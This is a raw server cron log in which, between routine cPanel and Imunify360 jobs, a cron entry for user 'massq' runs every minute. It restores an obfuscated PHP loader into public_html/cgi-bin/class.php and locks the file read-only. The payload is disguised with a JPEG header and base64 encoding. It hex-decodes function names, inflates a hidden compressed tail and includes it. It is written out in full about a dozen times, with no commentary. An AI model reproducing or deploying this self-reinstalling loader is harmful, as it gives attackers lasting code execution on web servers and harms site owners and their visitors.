Aug 31 21:26:01 server CROND[32000]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:26:01 server CROND[32001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:26:01 server CROND[32002]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:27:01 server CROND[32395]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 21:27:01 server CROND[32396]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:27:01 server CROND[32394]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:27:01 server CROND[32397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:28:01 server CROND[301]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:28:01 server CROND[302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:28:01 server CROND[303]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:29:01 server CROND[694]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:29:01 server CROND[695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:29:01 server CROND[696]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:30:01 server CROND[1146]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 21:30:01 server CROND[1149]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 21:30:01 server CROND[1153]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:30:01 server CROND[1155]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 21:30:01 server CROND[1152]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 21:30:01 server CROND[1151]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 21:30:01 server CROND[1156]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:30:01 server CROND[1154]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:31:01 server CROND[2137]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:31:01 server CROND[2138]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:31:01 server CROND[2139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:32:01 server CROND[2514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:32:01 server CROND[2515]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:32:01 server CROND[2516]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:33:01 server CROND[2937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:33:01 server CROND[2938]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:33:01 server CROND[2939]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:34:01 server CROND[3328]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:34:01 server CROND[3330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:34:01 server CROND[3329]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:35:01 server CROND[3717]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 21:35:01 server CROND[3720]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 21:35:01 server CROND[3721]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 21:35:01 server CROND[3722]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 21:35:01 server CROND[3725]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:35:01 server CROND[3726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:35:01 server CROND[3724]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 21:35:01 server CROND[3723]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 21:35:01 server CROND[3719]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:36:01 server CROND[4644]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:36:01 server CROND[4646]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:36:01 server CROND[4645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:37:01 server CROND[5033]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:37:01 server CROND[5034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:37:01 server CROND[5035]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
